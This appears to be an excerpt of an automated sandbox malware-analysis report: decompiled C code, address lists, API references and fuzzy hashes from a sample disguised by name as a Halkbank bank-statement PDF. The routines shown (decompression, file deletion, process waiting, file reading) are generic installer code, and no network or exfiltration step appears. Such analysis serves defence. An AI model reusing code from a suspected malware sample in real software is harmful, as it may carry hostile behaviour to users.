														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x00407068
0x00407068
0x0040706c
0x00407095
0x0040709f
0x0040706e
0x00407077
0x00407084
0x00407087
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x0040741c
0x00407420
0x004075cf
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00407447
0x00407447
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x004073cb
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x00000000
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00407447
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00000000
0x0040744d
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004073ce
0x004073cb

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
Instruction ID: 947ff9f4813c08031b822263453b6bbc7859602ae013fffc9a74d3363ad91bbb
Opcode Fuzzy Hash: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
Instruction Fuzzy Hash: FE713471E04228DBEF28CF98C8547ADBBB1FF44305F15806AD856BB281C778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00405D2C Relevance: 4.5, APIs: 3, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00405D2C(void* __eflags, WCHAR* _a4, signed int _a8) {
				int _t9;
				long _t13;
				WCHAR* _t14;

				_t14 = _a4;
				_t13 = E00406133(_t14);
				if(_t13 == 0xffffffff) {
					L8:
					return 0;
				}
				_push(_t14);
				if((_a8 & 0x00000001) == 0) {
					_t9 = DeleteFileW();
				} else {
					_t9 = RemoveDirectoryW(); // executed
				}
				if(_t9 == 0) {
					if((_a8 & 0x00000004) == 0) {
						SetFileAttributesW(_t14, _t13);
					}
					goto L8;
				} else {
					return 1;
				}
			}

0x00405d2d
0x00405d38
0x00405d3d
0x00405d6d
0x00000000
0x00405d6d
0x00405d44
0x00405d45
0x00405d4f
0x00405d47
0x00405d47
0x00405d47
0x00405d57
0x00405d63
0x00405d67
0x00405d67
0x00000000
0x00405d59
0x00000000
0x00405d5b

APIs

Part of subcall function 00406133: GetFileAttributesW.KERNELBASE(?,?,00405D38,?,?,00000000,00405F0E,?,?,?,?), ref: 00406138
Part of subcall function 00406133: SetFileAttributesW.KERNELBASE(?,00000000), ref: 0040614C

RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405F0E), ref: 00405D47
DeleteFileW.KERNEL32(?,?,?,00000000,00405F0E), ref: 00405D4F
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D67

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 80ad4dccc83bd5cfbcd7ef077da852fe0cb096cb549a199170c52783d075929e
Instruction ID: f7500ddcb6900c42920b0fa7cdf939b3a50fd8fb6693fff67202f671924a8b23
Opcode Fuzzy Hash: 80ad4dccc83bd5cfbcd7ef077da852fe0cb096cb549a199170c52783d075929e
Instruction Fuzzy Hash: 6DE0E531218A9156C3207734AD0CB5B2A98EF86314F09893FF5A2B11E0D77885078AAD

Uniqueness

Uniqueness Score: -1.00%

Function 00406AE0 Relevance: 4.5, APIs: 3, Instructions: 27
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406AE0(void* __ecx, void* _a4) {
				long _v8;
				long _t6;

				_t6 = WaitForSingleObject(_a4, 0x64);
				while(_t6 == 0x102) {
					E00406A71(0xf);
					_t6 = WaitForSingleObject(_a4, 0x64);
				}
				GetExitCodeProcess(_a4,  &_v8); // executed
				return _v8;
			}

0x00406af1
0x00406b08
0x00406afc
0x00406b06
0x00406b06
0x00406b13
0x00406b1f

APIs

WaitForSingleObject.KERNEL32(?,00000064), ref: 00406AF1
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00406B06
GetExitCodeProcess.KERNELBASE ref: 00406B13

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: ObjectSingleWait$CodeExitProcess
String ID:
API String ID: 2567322000-0
Opcode ID: c0daa64154bb0774b0f48346674b492318025e1df3185352ae56c24ee987a067
Instruction ID: dffe0f0baa3edeb4a8159ab808a8d66eaa88359a938bc324e0f181ad12cbd91f
Opcode Fuzzy Hash: c0daa64154bb0774b0f48346674b492318025e1df3185352ae56c24ee987a067
Instruction Fuzzy Hash: 36E09236600118FBDB00AB54DD05E9E7B6ADB45704F114036FA05B6190C6B1AE22DA94

Uniqueness

Uniqueness Score: -1.00%

Function 00403371 Relevance: 3.1, APIs: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00403371(void* __ecx, long _a4, intOrPtr _a8, void* _a12, long _a16) {
				long _v8;
				long _t21;
				long _t22;
				void* _t24;
				long _t26;
				int _t27;
				long _t28;
				void* _t29;
				void* _t30;
				long _t31;
				long _t32;
				long _t36;

				_t21 = _a4;
				if(_t21 >= 0) {
					_t32 = _t21 +  *0x42a2b8;
					 *0x420ef4 = _t32;
					SetFilePointer( *0x40a01c, _t32, 0, 0); // executed
				}
				_t22 = E00403479(4);
				if(_t22 >= 0) {
					_t24 = E004061DB( *0x40a01c,  &_a4, 4); // executed
					if(_t24 == 0) {
						L18:
						_push(0xfffffffd);
						goto L19;
					} else {
						 *0x420ef4 =  *0x420ef4 + 4;
						_t36 = E00403479(_a4);
						if(_t36 < 0) {
							L21:
							_t22 = _t36;
						} else {
							if(_a12 != 0) {
								_t26 = _a4;
								if(_t26 >= _a16) {
									_t26 = _a16;
								}
								_t27 = ReadFile( *0x40a01c, _a12, _t26,  &_v8, 0); // executed
								if(_t27 != 0) {
									_t36 = _v8;
									 *0x420ef4 =  *0x420ef4 + _t36;
									goto L21;
								} else {
									goto L18;
								}
							} else {
								if(_a4 <= 0) {
									goto L21;
								} else {
									while(1) {
										_t28 = _a4;
										if(_a4 >= 0x4000) {
											_t28 = 0x4000;
										}
										_v8 = _t28;
										_t29 = E004061DB( *0x40a01c, 0x414ef0, _t28); // executed
										if(_t29 == 0) {
											goto L18;
										}
										_t30 = E0040620A(_a8, 0x414ef0, _v8); // executed
										if(_t30 == 0) {
											_push(0xfffffffe);
											L19:
											_pop(_t22);
										} else {
											_t31 = _v8;
											_a4 = _a4 - _t31;
											 *0x420ef4 =  *0x420ef4 + _t31;
											_t36 = _t36 + _t31;
											if(_a4 > 0) {
												continue;
											} else {
												goto L21;
											}
										}
										goto L22;
									}
									goto L18;
								}
							}
						}
					}
				}
				L22:
				return _t22;
			}

0x00403375
0x0040337e
0x00403387
0x0040338b
0x00403396
0x00403396
0x0040339e
0x004033a5
0x004033b7
0x004033be
0x00403463
0x00403463
0x00000000
0x004033c4
0x004033c7
0x004033d3
0x004033d7
0x00403471
0x00403471
0x004033dd
0x004033e0
0x0040343f
0x00403445
0x00403447
0x00403447
0x00403459
0x00403461
0x00403468
0x0040346b
0x00000000
0x00000000
0x00000000
0x00000000
0x004033e2
0x004033e5
0x00000000
0x004033eb
0x004033f0
0x004033f7
0x004033fa
0x004033fc
0x004033fc
0x00403409
0x0040340c
0x00403413
0x00000000
0x00000000
0x0040341c
0x00403423
0x0040343b
0x00403465
0x00403465
0x00403425
0x00403425
0x00403428
0x0040342b
0x00403431
0x00403437
0x00000000
0x00403439
0x00000000
0x00403439
0x00403437
0x00000000
0x00403423
0x00000000
0x004033f0
0x004033e5
0x004033e0
0x004033d7
0x004033be
0x00403473
0x00403476

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 00403396

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: b1bf35b654f0c361909532a2badc84153f12731a676864620281ad9f652e4f28
Instruction ID: 963a71f16df831595788c30304fa9cedbf2cad19eb63879c1ada4fe15c9ed8fa
Opcode Fuzzy Hash: b1bf35b654f0c361909532a2badc84153f12731a676864620281ad9f652e4f28
Instruction Fuzzy Hash: 93319F70200219EFDB129F65ED84E9A3FA8FF00355B10443AF905EA1A1D778CE51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
